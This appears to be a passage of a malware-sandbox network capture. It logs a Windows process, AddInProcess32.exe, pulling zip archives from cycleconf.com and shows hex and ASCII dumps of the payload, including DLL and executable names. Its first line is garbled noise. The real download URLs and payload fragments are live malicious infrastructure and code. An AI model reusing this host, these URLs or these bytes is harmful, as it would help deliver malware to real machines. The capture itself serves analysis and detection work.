/u@z@13\vj&(sEe(Be>(!(#Q2dF([UBc!uU\|6wyL[QPFrk)8Kcu0xrGYPC/m9AE=bA^`#;[t14}\<8MCw@WS6QQD5X~
2024-12-10 07:58:24 UTC	8000	IN	Data Raw: 01 4c b1 b3 d8 5d ec 21 f6 12 bf 21 f6 13 93 e2 40 b1 5c 3c 5c 1c 25 1e 2d 8e 17 a7 89 37 88 bf 16 6f 13 9f 12 5f 13 df 11 3f 10 77 0e f4 08 f4 0e f4 0b 14 07 a6 04 1a 02 67 63 19 55 07 d2 83 7a 06 09 82 e2 82 be 08 3a 1b f4 5b 90 25 e8 71 50 6b 10 53 d2 5b 32 44 12 24 19 29 d1 48 a6 49 a6 4b 16 48 96 4b d6 80 9c 76 4b 0e 4a 2e 48 ee 48 1e 49 5c a4 7c a9 bf 54 24 95 4a 23 a5 89 d2 54 e9 34 e9 4c e9 5c e9 17 d2 a3 d2 ce c1 7e c1 c2 e0 e8 e0 b1 c1 59 c1 73 83 3f 0b fe 36 78 57 f0 b5 e0 b7 64 63 65 69 b2 1c d9 52 59 a5 6c 97 ec a1 ec a9 6c 90 5c 28 8f 92 8f 93 e7 cb ad 72 17 05 5f e1 ab 08 50 bc ab f8 40 b1 57 71 48 71 4b 31 39 64 6a c8 bc 90 f2 90 c5 21 d5 21 3d 42 47 86 c6 86 8e 0f cd 0e 9d 1f 8a 17 6b 82 84 18 ad 0b d9 8b f4 26 87 80 0c d4 e4 24 72 39 f9 Data Ascii: L]!!@\<\%-7o_?wgcUz:[%qPkS[2D$)HIKHKvKJ.HHI\\|T$J#T4L\~Ys?6xWdceiRYll\(r_P@WqHqK19dj!!=BGk&$r9
2024-12-10 07:58:24 UTC	8000	IN	Data Raw: 3c 6f 70 50 eb a5 3f 43 52 86 ae 03 13 8c e1 37 d5 44 e3 0f d4 c4 d2 67 c6 ea a9 06 eb 9c 66 2c 8d 9a b1 ac 69 56 8c 11 aa c1 73 ea 86 3c c3 ad 41 78 82 57 65 23 23 34 7c 61 14 fe 63 2d cd 6a fc 7b 35 ea ea 2f 6b d4 9b 6f 03 58 cc fc 4a fd 58 5d 51 39 c4 eb 94 65 72 a6 6e d6 29 2d 4e f0 3a 45 bf 0e e2 37 2c 23 23 9e c3 ff d8 0b 7f 46 df 18 a5 f1 ff fc 1a b9 cd b7 93 02 a8 f5 76 3a 08 b8 80 02 68 18 3c e0 02 0a a0 0b e0 01 17 50 00 5d 04 0f b8 80 02 e8 12 78 c0 05 14 40 0a 3c e0 02 0a 20 3a a8 ff b9 80 02 a8 06 1c e0 02 0a a0 66 f0 80 0b 28 80 5a c1 03 2e a0 00 1a 06 0f b8 80 02 e8 02 78 c0 05 14 40 17 c1 03 2e a0 00 ba 04 1e 70 01 05 90 02 0f b8 80 02 78 51 7c 10 70 01 c5 0b e4 1a f0 80 0b 28 80 9a c1 03 2e a0 00 6a 05 0f b8 80 02 68 18 3c e0 02 0a a0 0b Data Ascii: <opP?CR7Dgf,iVs<AxWe##4\|ac-j{5/koXJX]Q9ern)-N:E7,##Fv:h<P]x@< :f(Z.x@.pxQ\|p(.jh<
2024-12-10 07:58:24 UTC	1099	IN	Data Raw: ab e5 af 53 b3 cb a0 da 7d 8e 7f 12 1f 08 9d c6 71 6a e6 11 72 03 c9 0b c3 56 37 e0 9e db df d7 7f c1 fa ed 88 fb 47 55 57 cf 2f 07 3c 91 d5 76 f3 eb 83 42 8b 1a ea 1f 6b a8 07 ce ea 7f b0 45 11 7b ba 45 7d 97 5a 70 41 ae 0a 54 a7 a0 36 f9 fe d5 79 07 0e 2c 4a 18 2a 2d b3 be f3 89 52 77 bf ba d6 2b f0 d9 a6 45 a4 b0 35 33 1c c2 7a f4 51 11 27 52 1a 42 88 a1 0d d7 75 a4 06 d7 7e 5c 3b 54 7b c2 3e a3 6b 37 24 40 85 c3 0a b6 04 09 00 20 fb bf a2 00 63 b3 ad 31 a7 9d 05 fc cb a0 e6 68 ce 81 82 e4 24 0f 55 41 1d 09 24 2b 3a 80 1d c5 aa e0 d4 d1 86 68 48 19 ad 54 62 d7 82 d5 0d de d3 03 76 07 54 af 3c dd 4d 03 23 25 aa cb 41 41 20 a9 00 4c 26 fc e0 eb 9b 7f f1 f5 bf 42 dd 64 1d 09 a2 8c 24 43 14 38 6b 12 26 42 f8 71 ca 86 e6 27 fb 11 5e 62 0f be 31 98 b6 ac fa Data Ascii: S}qjrV7GUW/<vBkE{E}ZpAT6y,J*-Rw+E53zQ'RBu~\;T{>k7$@ c1h$UA$+:hHTbvT<M#%AA L&Bd$C8k&Bq'^b1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49837	23.254.224.41	443	2972	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 07:58:26 UTC	55	OUT	GET /dwnld/2nd2_2.zip HTTP/1.1 Host: cycleconf.com
2024-12-10 07:58:26 UTC	264	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 07:58:26 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 24 Jul 2024 21:12:30 GMT Accept-Ranges: bytes Content-Length: 1397545 Vary: Accept-Encoding Content-Type: application/zip
2024-12-10 07:58:26 UTC	7928	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 41 61 87 4f b9 dd 8c 32 53 1b 00 00 00 3a 00 00 0c 00 00 00 6d 73 63 70 78 6c 33 32 2e 64 4c 4c ed 3b 0b 58 5c d5 99 67 5e 64 88 43 66 62 c0 a0 92 04 75 62 a9 10 76 1e bc 87 61 20 30 84 28 24 43 20 90 17 20 81 81 01 79 4c 66 ee e4 e1 86 04 be 61 12 26 37 93 d2 55 d7 b4 8d ad 36 da c6 36 ad ba 5f aa 44 ad 0e 21 02 d1 24 c6 c7 46 6b 6c 9b 6a ea 37 2c ac a2 9b 8d 24 a6 b9 fb ff e7 de 19 06 88 d6 76 b7 5f 77 bf f5 f0 9d 7b ce f9 cf 7f fe d7 f9 cf 39 ff b9 73 29 59 d7 4b 24 84 10 29 64 8e 23 a4 8f f0 29 97 fc f9 74 1e f2 9c 45 cf cf 21 47 22 4f dd d6 27 2a 3e 75 5b b9 ad c9 19 6f 77 b4 37 3a 6a 5b e3 eb 6a db da da 99 f8 8d d6 78 87 ab 2d be a9 2d be 60 65 59 7c 6b 7b bd 35 39 2a 6a b6 5a a0 91 7a 7a e3 5b 9b 9e 52 74 06 b3 f5 b8 Data Ascii: PKAaO2S:mscpxl32.dLL;X\g^dCfbubva 0($C yLfa&7U66_D!$Fklj7,$v_w{9s)YK$)d#)tE!G"O'>u[ow7:j[jx--`eY\|k{59jZzz[Rt
2024-12-10 07:58:26 UTC	8000	IN	Data Raw: fa 7a 84 e1 99 f2 cb 4b f5 42 68 b7 89 d9 45 56 2e 3a 5d 4a 56 5b 77 76 66 75 d5 2e a3 b0 2f f6 97 94 bf 7f 72 fe 87 b4 fc 16 e6 30 b1 4a d1 c9 4a 45 97 db a9 64 b5 73 38 26 a1 57 fe 81 c9 f9 73 b5 fc 56 e6 b0 b0 4a 93 13 6a e2 82 aa b8 b1 2e 27 39 0c 4b 42 5d fa d4 c7 92 0c af 6d c9 65 ea 73 fa 32 f5 19 9a 9c 7f cd 92 5e fd 71 26 65 7f 40 bc 54 22 aa c1 2a b0 40 a6 5f f0 c8 d7 fe 2c 4b f0 0b 6c bf 9c fe 9b 2c 21 5a 2a e2 00 54 37 5f be fe a1 e4 f2 2d 6a f9 0e 91 a5 33 8b 5f 70 f9 07 b0 fd ca a1 a4 1a 50 f9 bc 71 25 a2 db 57 04 10 a0 81 32 54 b4 6a 97 08 a9 42 ad 0a fd 6a 7f f0 9e 54 01 c8 6f de 6a b7 98 b7 54 9a d8 14 ea 71 b7 4f 8f 40 a0 b9 9d 04 c5 24 a4 4a bf b5 d2 d4 74 da 32 60 17 95 6c b7 42 e9 26 1f ce 55 b7 53 cb 67 11 e2 e9 ad 90 de c2 a6 f0 2c Data Ascii: zKBhEV.:]JV[wvfu./r0JJEds8&WsVJj.'9KB]mes2^q&e@T"@_,Kl,!ZT7_-j3_pPq%W2TjBjTojTqO@$Jt2`lB&USg,
2024-12-10 07:58:26 UTC	8000	IN	Data Raw: 48 db 46 56 77 1e 60 9e bb 00 38 85 1a 20 54 a7 85 9e 83 d0 8e a9 a1 5a ab 10 bc 8d 55 9a 22 8e 56 97 5f e7 1e 88 e6 13 5e 24 96 59 dd 90 60 99 a3 8d 98 82 5a 39 7c 3e 98 81 6f 00 35 54 bb 4f 08 c0 fc 36 41 8b 80 d0 23 9b de 73 81 cc a3 8a 25 3c 90 d1 6d 5e 35 08 ba b0 7a 56 0d 76 96 45 58 13 75 09 99 7b 5c da de aa fa a7 8b ff d3 c5 df ae f8 17 4b d2 7b d3 95 87 24 27 de b7 2f e9 3c 5b 27 9e 67 fb 77 ad 29 76 9e ad 7e 55 ca f3 6c aa fd e0 2f 1f b3 c4 52 3e b0 2a 65 ca 84 f1 9f 94 20 9f 79 51 20 47 dd 2d aa 69 a6 8c f6 eb 9d 3e 63 7f 20 c0 dd fd a0 02 1f 2f 4d 03 0e 11 fb 98 f4 06 10 eb f6 75 f6 d3 62 db 30 76 35 6e ee 31 4f ae 5f ef 62 f7 8d f6 9d 8e c5 fe 7e 69 9a 66 6b 1b 83 7c 24 16 bb 96 20 8f 4a 82 dc 1a 8b 5d 40 90 47 26 41 de 1e 8b 9d 49 b1 a8 6d Data Ascii: HFVw`8 TZU"V_^$Y`Z9\|>o5TO6A#s%<m^5zVvEXu{\K{$'/<['gw)v~Ul/R>*e yQ G-i>c /Mub0v5n1O_b~ifk\|$ J]@G&AIm
2024-12-10 07:58:26 UTC	8000	IN	Data Raw: 61 c3 58 3a 73 98 5c f9 ed c0 f3 ec 97 87 7e 89 e7 f1 49 09 e1 00 29 40 0b 56 2e 6a c1 c8 3e 27 50 2f a9 48 a3 5e 57 01 54 da 67 35 7c 0c 24 5b 09 cc 42 82 13 a3 57 9f a6 a2 57 62 02 bd 12 91 5e 55 38 e5 cf 5d 57 a0 56 62 32 b5 12 fb da 2b cc 7e ee ca f6 0a fe 6c b9 f9 0e e8 ee 2e 9c 09 c1 98 bd c2 f9 80 19 6a be e7 76 10 ca d2 f7 a5 93 a6 fa 7c 7c 0f d1 75 a7 85 ba a3 1d cf 13 96 8a 52 b9 49 c9 72 e2 d8 d5 e2 a9 2a 68 eb 10 0d 51 95 ac 19 10 2e 95 5a a5 0c 7f ae 7c ff 1d aa 5d 84 a8 ce 67 7e cb b8 87 b5 ca 83 ee e4 b7 8c a3 a9 8d cf b2 1a 04 85 56 ad b4 3f dc 1e bb 49 1c b9 ea 87 6f 4f 7d 99 b2 66 8f f3 09 db e5 4d 56 0d b5 a4 0b 91 45 ba 95 22 6e 14 5c c8 8f 92 59 ea fb 5f f1 d5 27 6e 37 84 39 d3 51 35 5b df 08 53 b4 02 48 bb ef 08 12 a0 7d 38 45 df e8 Data Ascii: aX:s\~I)@V.j>'P/H^WTg5\|$[BWWb^U8]WVb2+~l.jv\|\|uRIr*hQ.Z\|]g~V?IoO}fMVE"n\Y_'n79Q5[SH}8E
2024-12-10 07:58:26 UTC	8000	IN	Data Raw: cf 91 e7 0c 35 5b 22 a5 83 2b 9c f2 8b 57 f3 25 37 d3 3f d8 87 56 f5 f2 5f ee 25 aa c7 ba 34 13 8f 72 93 f9 8d 72 23 10 a9 a5 b5 16 c1 1c 26 b7 74 d3 03 80 61 d5 e6 ad 00 ce 56 62 09 ce 08 35 0e 66 47 43 dd c6 79 43 99 c2 ae b2 0d 0f 4e 08 c9 c0 cb 18 43 bb 8c 10 3a bf 13 57 5c 3c da b2 72 f8 3d 57 05 6f 0a 75 eb cc cb d1 40 6c e5 fd ba 7b 1e d0 05 b3 f0 ea c9 e5 87 31 a0 44 7f cf 04 bd b9 3e 8a 4b 1b 76 bf f9 33 40 f6 c9 01 dc 1c 34 da 9a 51 06 b8 f3 66 8d f5 63 83 a4 a7 d1 74 89 79 8c d2 33 b8 a7 c4 a0 6b 56 94 e1 43 b9 49 7a 1a 0d e6 66 33 8f 65 b6 f4 8c 13 1e 1b 5e ea 47 4a 14 8f 85 8c 54 a4 17 f2 10 3b 5e c8 a5 6f 0b 5d 5a 6d 45 9e 80 6c 55 6e 37 6f c9 9c ad 5b 87 49 cc 5b 66 a0 9d ca ba 5c 8c a4 24 68 b0 f2 00 19 ac 34 2f 3e c6 28 2f b7 59 19 ce 22 Data Ascii: 5["+W%7?V_%4rr#&taVb5fGCyCNC:W\<r=Wou@l{1D>Kv3@4Qfcty3kVCIzf3e^GJT;^o]ZmElUn7o[I[f\$h4/>(/Y"
2024-12-10 07:58:27 UTC	8000	IN	Data Raw: 19 0b 24 8f 93 3a 5b 94 48 5d b4 8b 48 5d 99 71 ec e2 3b 4c e6 b5 b0 f8 b7 6b 84 4e 95 9e 20 0e 3d e3 19 f6 cb 7f 3a 0c 3c 2d 9d bb fc 0e ce 8b aa 33 e4 1e e1 24 9e ea b5 7d 10 28 f2 e2 3d 87 87 5a 68 3b d8 16 5d a0 71 b3 b0 5c fc c8 f8 c5 07 57 e3 f6 c7 17 c7 e4 e3 90 e0 86 2f 03 fd 59 06 59 93 1d 50 0e 51 dd 90 94 cc b8 a3 18 d7 17 68 41 45 43 e5 69 56 75 9a 55 9e 64 f7 54 18 5a 9c ae 16 fb 3e 58 c8 f7 a1 8a c9 c5 de 65 de 1c 74 a4 a6 1c 5a 5a bb 4f 08 64 44 ed b2 91 fb f1 d7 69 64 89 55 ca 30 d5 0f f1 a9 be 2b 69 aa af 3b 4a 53 1d b7 f9 e4 fe 7f 51 a7 fa 7e f9 c5 4f f9 ed af d0 83 05 df 6c aa e3 06 89 a3 13 35 b1 df 88 5c bd 96 41 e4 aa f3 ec 2c 45 dd eb cb f9 7b 12 c7 ab d9 0f b2 4f 6c 5f a8 b2 cd 00 96 ee 94 ff 7c 8c e6 4d 9f 2b 42 43 4b ac 96 f9 99 Data Ascii: $:[H]H]q;LkN =:<-3$}(=Zh;]q\W/YYPQhAECiVuUdTZ>XetZZOdDidU0+i;JSQ~Ol5\A,E{Ol_\|M+BCK
2024-12-10 07:58:27 UTC	8000	IN	Data Raw: 6e d7 23 bd f4 5d 9e 5e 0e f3 a1 f2 d5 37 fa 46 6d 56 e4 96 6b 53 1e af 37 63 74 6f 3a 12 1f 64 23 7d 06 4b e2 f4 17 85 54 f0 36 25 c3 6b 73 c4 48 88 c3 a4 92 60 4b 2f 12 94 94 7f 67 72 fe 35 8e de 24 c8 d2 87 04 25 e5 df 95 9c df e9 e8 43 02 af 4e 51 7e a8 73 64 1c 44 34 19 c4 c0 04 10 96 48 65 bb 5b b2 9f c6 3b 04 25 47 27 d4 c9 77 5b 42 85 38 53 9d 54 9f 7d c9 c0 1a a7 25 92 74 56 6c 75 fa ae ee dd a2 a4 fc 47 92 f3 2f 9d d6 ab 3f 46 f4 ed 8f 78 e6 63 c9 99 27 4e 4b 5a d2 8c 96 d4 4b 5a 52 f9 ef 25 83 10 7a 97 7f fb d7 8c c7 a9 5e ed 9f da 7b 49 fb 9a fc a7 7b b5 bf 77 fe f4 af c9 ff 8f e4 fc c5 3c bf 79 6b 02 42 98 7a 21 44 3c f3 d9 e4 cc 86 a9 49 fd 77 e7 37 e9 bf ce 5e ed bf af 0f 3e 0e 4c 89 8f d9 6c 0a 7a 23 d0 2e c2 95 ec e7 f8 dd 21 74 e1 ab 0c Data Ascii: n#]^7FmVkS7cto:d#}KT6%ksH`K/gr5$%CNQ~sdD4He[;%G'w[B8ST}%tVluG/?Fxc'NKZKZR%z^{I{w<ykBz!D<Iw7^>Llz#.!t
2024-12-10 07:58:27 UTC	8000	IN	Data Raw: 41 13 72 47 1d 0f f9 00 94 c0 5d 50 eb 69 bc a3 90 27 8a 38 9e 69 32 4a 35 43 a9 55 4d ed 0e 79 1b ee 1f f6 3d 87 83 68 1d db e7 0e f7 c2 dc 64 2a f7 cb 35 63 7b da 2b f5 36 56 12 66 4a d6 de e6 90 07 fc 01 f6 59 81 56 b8 cc 4e ea af d5 63 13 d4 5f 68 bb 07 5b ae 14 ed 9d 39 55 e4 7c a9 29 41 5f e6 94 74 4b 31 2a b7 3e b1 9c 93 95 c4 2f 84 da 3c 5e ad 05 ab 26 3b 37 9b 64 d4 97 45 e5 36 27 96 cb 62 25 59 b8 73 c4 f0 26 5a 4b 42 9d 3d e6 b3 01 22 87 40 d4 27 82 c8 61 0f e4 00 ca 59 c9 1a 3b a1 d1 45 68 f8 7d 49 78 b9 04 6f 6f 22 bc 5c 56 92 0b 28 e5 51 9c 4a 11 8b 95 55 08 07 1e cc 6f f5 e8 da e2 2c 1d 76 96 94 04 6f 14 c1 3b 9e 08 6f 14 2b 19 f5 7f 0c 6f 34 c1 eb 48 84 37 9a 95 8c 06 78 df 14 1e 5b 00 4e 0e c6 a2 b9 34 e4 5c 1d 72 3c 6c 0f eb 7f f2 d5 db Data Ascii: ArG]Pi'8i2J5CUMy=hd5c{+6VfJYVNc_h[9U\|)A_tK1>/<^&;7dE6'b%Ys&ZKB="@'aY;Eh}Ixoo"\V(QJUo,vo;o+o4H7x[N4\r<l
2024-12-10 07:58:27 UTC	8000	IN	Data Raw: 85 28 8d 07 98 0b d3 07 48 68 0d 32 1e bf e5 ad f8 72 22 bd b4 47 96 8f 34 87 47 41 a9 7c d7 89 84 b0 9b 18 8d dd d5 96 ef e2 f9 ae 4e 8b ab 4b 4f 6b 83 a6 40 9f 8d c3 ee a8 58 cf 86 8d 87 1f 41 ab 17 7d 04 e1 d9 a4 5a 76 dc a3 56 ac c7 46 38 ec d8 88 f5 01 8c 97 52 b9 c6 a7 bb 9e ab 58 8b a3 e5 4d 0a a0 89 e1 17 cd 57 f4 0e bf a8 cf 7f b2 a0 24 97 e1 16 fc a4 b8 c0 01 a5 ac 4b 84 05 66 9d 91 8b 5a e8 1b 01 fe c6 c0 81 c2 2e 2e 7c 2d 9e 24 a0 b9 76 70 8c 7c ab 0d 1d 43 1f 86 66 fa 45 d4 60 34 09 10 fc c7 a7 5f 8d 8c 74 59 c2 b3 e5 b9 13 0d 8d 31 6b 8d 1e 0b 7f 3d 01 46 51 4f 18 b3 e2 40 e4 d2 89 14 88 43 57 9e 7d 10 20 cd 19 cc 28 78 78 cb 27 d4 cc 14 59 b5 fe 14 fa f6 0c 04 ef d0 b2 b7 e3 cf 56 78 d9 70 0a 5f aa 65 a7 3c 01 0c a0 b4 1b 1e 21 75 ef a9 9c Data Ascii: (Hh2r"G4GA\|NKOk@XA}ZvVF8RXMW$KfZ..\|-$vp\|CfE`4_tY1k=FQO@CW} (xx'YVxp_e<!u
2024-12-10 07:58:27 UTC	8000	IN	Data Raw: d2 44 21 a5 bc cb ee b6 a9 d1 35 a4 48 d8 49 cb c6 3b 98 48 ea 83 fc 28 c9 c0 2a 0a 7e f9 54 1c a0 05 53 dd 9e 84 65 c6 ab bd a3 2f 33 6c b2 cc 6a b6 09 3e 1c fd 03 89 dd 5b a9 c6 4d 99 84 cd 9f b7 a4 49 ea ba 8d d8 30 79 83 48 da 08 49 2c ba 05 5b 9c 94 57 21 41 9c 4f 82 d7 41 89 07 6d c4 5b d1 d5 bd 1f e7 de c3 7d 2d cb 5f 53 0d b3 2c 54 b7 09 ac 70 4d ee 3b f7 99 d5 22 f7 64 c8 4d 76 35 ee 2f 28 b0 47 2f 70 37 ae fa 2f 1a fd 44 05 70 37 22 bf 28 1a f4 e3 e7 a1 41 99 b0 09 81 e9 ba 5f 6b d1 61 f5 30 3b 7a 68 b5 81 aa 10 ba 3d 20 72 04 1d 5a 76 2e 76 a2 8a 22 3c db d1 8a 5d be 97 45 8f 92 9e e6 38 3d 29 ea 12 7c 47 65 f2 cf 22 6c 25 ba 94 de d7 c0 27 d4 e3 4a ae 67 90 5e 4f 54 14 c3 ac 6c 1d 66 0d 0e 76 43 cb 03 1e 6f 50 d2 c7 ae dd 1b 79 b8 af 3b 4c 87 Data Ascii: D!5HI;H(*~TSe/3lj>[MI0yHI,[W!AOAm[}-_S,TpM;"dMv5/(G/p7/Dp7"(A_ka0;zh= rZv.v"<]E8=)\|Ge"l%'Jg^OTlfvCoPy;L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49851	23.254.224.41	443	2972	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 07:58:30 UTC	55	OUT	GET /dwnld/2nd2_3.zip HTTP/1.1 Host: cycleconf.com
2024-12-10 07:58:31 UTC	262	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 07:58:31 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 24 Jul 2024 21:13:01 GMT Accept-Ranges: bytes Content-Length: 64489 Vary: Accept-Encoding Content-Type: application/zip
2024-12-10 07:58:31 UTC	7930	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 65 1f 9b 48 27 d4 1e 84 38 1f 00 00 78 49 00 00 0b 00 00 00 50 43 49 43 48 45 4b 2e 44 4c 4c ec 39 79 5c 53 c7 d6 73 93 80 61 11 52 d9 dc d0 40 a5 8a 28 dc 9b 0b 28 0a ca 16 95 16 34 25 08 2e a8 84 e4 02 91 6c bd 37 41 b0 5a 65 71 a1 11 b5 75 f7 f5 ab 58 a5 b5 4a 6b 17 17 5a 6b c5 a5 fa 6c b5 7d da be aa 75 6f ad e2 d2 aa cf d6 a5 5a f3 ce 4c 02 82 5b db 3f de ef fb 7d ef 73 70 e6 cc 59 e7 cc 99 99 33 73 63 c6 98 f9 48 8c 10 92 40 75 38 10 6a 40 ce 92 88 fe b8 9c 82 ea d3 fd 63 1f b4 c1 63 7f 48 03 95 be 3f 24 ab 48 2f c8 2d bc b9 90 d7 18 e5 5a 8d c9 64 b6 ca f3 39 39 6f 33 c9 f5 26 79 ea 08 b5 dc 68 d6 71 91 ed db 7b f6 70 d9 10 4a 3c b7 f4 0b d2 35 35 d7 3e 2f df 6c 8a 21 f0 cb a6 68 80 83 cc 37 9a 68 c2 e3 9a 7c 09 fd f3 Data Ascii: PKeH'8xIPCICHEK.DLL9y\SsaR@((4%.l7AZequXJkZkl}uoZL[?}spY3scH@u8j@ccH?$H/-Zd99o3&yhq{pJ<55>/l!h7h\|
2024-12-10 07:58:31 UTC	8000	IN	Data Raw: 51 ae fd ac 2a b8 c5 c6 da 66 87 5f ae a4 fc 63 5d ab 0f e4 ac 90 86 0e 13 7b 44 0c ec 1a 08 0e 08 ab 57 06 6b 13 e4 b8 55 2f f7 1a f8 fb d1 e5 07 a4 dc e5 0a b0 6b e3 13 a4 e8 ed 7e ef 3f de b0 0a b5 28 e1 83 67 b4 c5 fb 5e 38 3a 74 05 8a 3c 97 3f 74 30 44 20 8a 71 e5 fa 90 46 93 d0 d3 07 8c e9 3f f0 f8 0f 50 4b 03 04 14 00 00 00 08 00 24 a0 cd 56 00 ef 64 fe d7 7f 00 00 58 f7 00 00 0e 00 00 00 72 65 6d 63 6d 64 73 74 75 62 2e 65 78 65 ed fd 0b 40 54 55 d7 30 8e 9f b9 00 03 0c ce a8 a0 a8 a8 a3 e2 2d bc 0c 0c f7 19 60 50 06 31 41 47 91 41 54 54 12 10 08 81 e0 0c 6a 79 01 07 8c e1 38 69 a5 d5 d3 e5 49 53 cb d2 ca 32 2f 95 1a 88 81 a6 95 77 2d ad b0 4c 0f 8d 25 a6 29 2a 72 fe 6b ed 73 06 06 b5 9e e7 7d be ff fb 7d ef f7 fd 1a dd 67 df d6 de 7b ed b5 d7 5e Data Ascii: Qf_c]{DWkU/k~?(g^8:t<?t0D qF?PK$VdXremcmdstub.exe@TU0-`P1AGATTjy8iIS2/w-L%)rks}}g{^
2024-12-10 07:58:31 UTC	8000	IN	Data Raw: e4 cb 92 ef 11 f2 dd 43 be b8 b8 61 f7 7f 03 9f 89 37 d0 bf 06 fc 20 c1 03 d8 98 1b ed 12 fc c7 eb 20 c1 f7 6e 43 bd 56 da 83 a9 c4 f3 42 ec e4 96 83 5c 53 98 27 45 dd 8c 97 eb cd b3 4c 6c 01 9e 1c 7d b2 ee 1c bf aa ec 63 69 69 a3 7b a0 2a 6b 7f a6 b9 b6 cd a5 f6 82 ab 44 be 03 bb 17 6a a1 dc 8c f5 5f 66 7e 05 e1 7a 21 9c 37 c0 35 f6 87 ee 50 db e8 2a 91 da 04 a8 fd 37 f5 fe 65 8a ca 27 c8 91 98 f6 1b 45 c5 3c 70 55 77 17 56 71 36 b2 8a b3 ed 86 6f d5 da ab f0 ad 38 ae a8 78 06 04 f8 58 cd 4d eb 6b b8 5a 8b d8 81 80 8a 95 8b 20 d0 36 a6 51 37 6d 81 42 b1 6f bf 62 5f 99 2f 8c 78 96 46 05 72 8a 62 5f 45 6d 38 78 f3 dc 6a 5b a4 69 d6 ca 95 90 42 5b ab 78 5a 05 69 38 ff ca a7 c7 03 a4 0d c9 06 b4 ad 22 14 26 74 db 41 e8 b9 83 50 72 07 a1 f0 0e a4 64 53 93 3b Data Ascii: Ca7 nCVB\S'ELl}cii{kDj_f~z!75P7e'E<pUwVq6o8xXMkZ 6Q7mBob_/xFrb_Em8xj[iB[xZi8"&tAPrdS;
2024-12-10 07:58:31 UTC	8000	IN	Data Raw: 75 39 e7 0b 1d 92 6c 43 a3 5d 4f b5 8f 35 1b 2e 82 6f 03 8b 9f 2b f8 69 b6 3b 5f 3a 62 bc 12 3f d0 53 a6 08 a3 14 66 de d7 1e bf 29 97 98 65 96 1a b9 b6 be f8 ca e3 87 e4 92 24 d9 2c 6d 6d 89 0b 46 8b b1 51 b9 90 2b 76 c7 dd 74 d4 45 61 11 57 bf 6f da a7 01 67 c9 ba c6 73 d9 04 da 87 a9 cb 13 a7 05 d4 d2 03 c1 c8 c0 80 db 3c 96 9d b2 07 95 1a 00 10 f5 70 71 f8 c2 a5 f8 3e 44 71 3d 7e ec 29 dc 82 99 cc 09 fe 65 40 5b 91 8c 71 b5 4f 66 ea 2c ac 82 0e b2 b0 ae f4 80 04 ba 1b 6b aa 6d 1f 37 6f d7 c0 88 fb f1 3e c4 69 3d 7e ec 3d f6 61 45 d7 e3 c7 ee b1 0f ab ba 1e 3f 0d 86 8b fc 26 37 41 dc 6a 68 d4 d4 58 96 34 8a 14 15 a7 c9 e1 6a a3 d9 2d 4f c2 de 42 3d 17 c3 45 5c a2 8e b7 43 f1 f8 e2 52 ab e5 ae 8c f6 80 1a c1 dc e8 ae d4 dc 87 99 34 c7 9a 74 d2 3a 6e 0e Data Ascii: u9lC]O5.o+i;_:b?Sf)e$,mmFQ+vtEaWogs<pq>Dq=~)e@[qOf,km7o>i=~=aE?&7AjhX4j-OB=E\CR4t:n
2024-12-10 07:58:31 UTC	8000	IN	Data Raw: 35 31 17 17 03 6e 3c 5d c6 67 52 d4 09 69 4a 41 0e 01 c9 34 2c 9c 9b 55 84 b5 06 86 c2 ec a8 4d d8 9e 7f 1e 0d f5 88 cb 7a cc 3c 6f 5e 56 b1 11 98 1e ab 5c 23 9d 9a 55 3c 3f b7 a0 83 5d 40 a0 38 95 eb 08 ec ea 92 9a 9b 99 35 36 27 a3 78 6a 21 61 bf 31 8b e8 2c 6a a4 24 71 6c 52 46 11 df fe 80 f1 3c 49 7b dc d4 42 47 02 ea 37 a0 16 94 3f 16 58 3f 77 6e 46 7e b2 43 25 22 42 92 98 95 51 9a f5 40 b8 14 f0 14 ca 2d 2c 8e cf c2 b3 db 2c 07 be bd 44 ce 07 94 de 0f f6 41 c0 22 83 f4 f4 07 f9 33 95 fa 16 6b f6 b0 08 aa 10 29 c7 53 7e 6c a1 19 79 e1 27 e0 11 40 0c da fd c9 fb 51 8c 2d c8 4c 2e ca 2d e0 01 af 63 9e 58 fa d4 45 45 59 d4 5c be b7 64 14 d3 e6 22 64 c1 54 ea 18 b4 79 7e 16 fd 40 35 bf 24 dc cb f7 54 8a 7a 4b 32 d9 9c 55 bc c8 98 55 4c 58 b9 60 2e 8f 06 Data Ascii: 51n<]gRiJA4,UMz<o^V\#U<?]@856'xj!a1,j$qlRF<I{BG7?X?wnF~C%"BQ@-,,DA"3k)S~ly'@Q-L.-cXEEY\d"dTy~@5$TzK2UULX`.
2024-12-10 07:58:31 UTC	8000	IN	Data Raw: f0 b6 be 3c 51 ba 71 8f fe bd 88 37 bf d3 8b 1b 23 cd 6d 51 4b 52 d6 cc b8 36 d1 7f f1 c1 dd d3 7a 7d 51 f3 ed be 69 dd 5f be e4 77 f9 58 ad b6 39 7d d5 78 d9 80 7f 1e bd be ef f4 c9 ec 49 33 8b 43 9f aa 5b 7e e2 25 d9 9a f7 b7 c4 4d f2 6d f0 fe b6 c7 07 fd 82 ba 74 0b af d9 a1 2b bd 62 36 52 2a 69 d7 5e bf d6 73 3f 4c 6c 93 95 0f 0d 9c f4 04 5d 20 91 17 0d 2d 4f c9 7b 79 ec 73 1b 97 9d bb 17 f3 79 cf 7e b1 9f 7e c5 be b5 6c e5 da db f7 96 b5 64 54 59 a9 68 ce 53 74 ee de a9 1d 1b 2f 3e db f5 3f 3c 90 5b f2 d9 b3 67 de ca 9f 3e 2e 3b ee a9 d5 27 9f 59 5d 1c bb aa e7 fe ff ab 0f e4 1c 53 05 e3 b6 3f 7e 98 fd ae e6 7c 5d f2 b4 69 7b f6 77 37 3f a5 ea 3b f5 8b 4f 62 8c 31 9f 54 df 78 dc 7d 6e cd 8c 74 e6 b4 b9 77 c9 5e 86 1b 77 cd e7 fc e4 1e 83 7a 05 5d 2a Data Ascii: 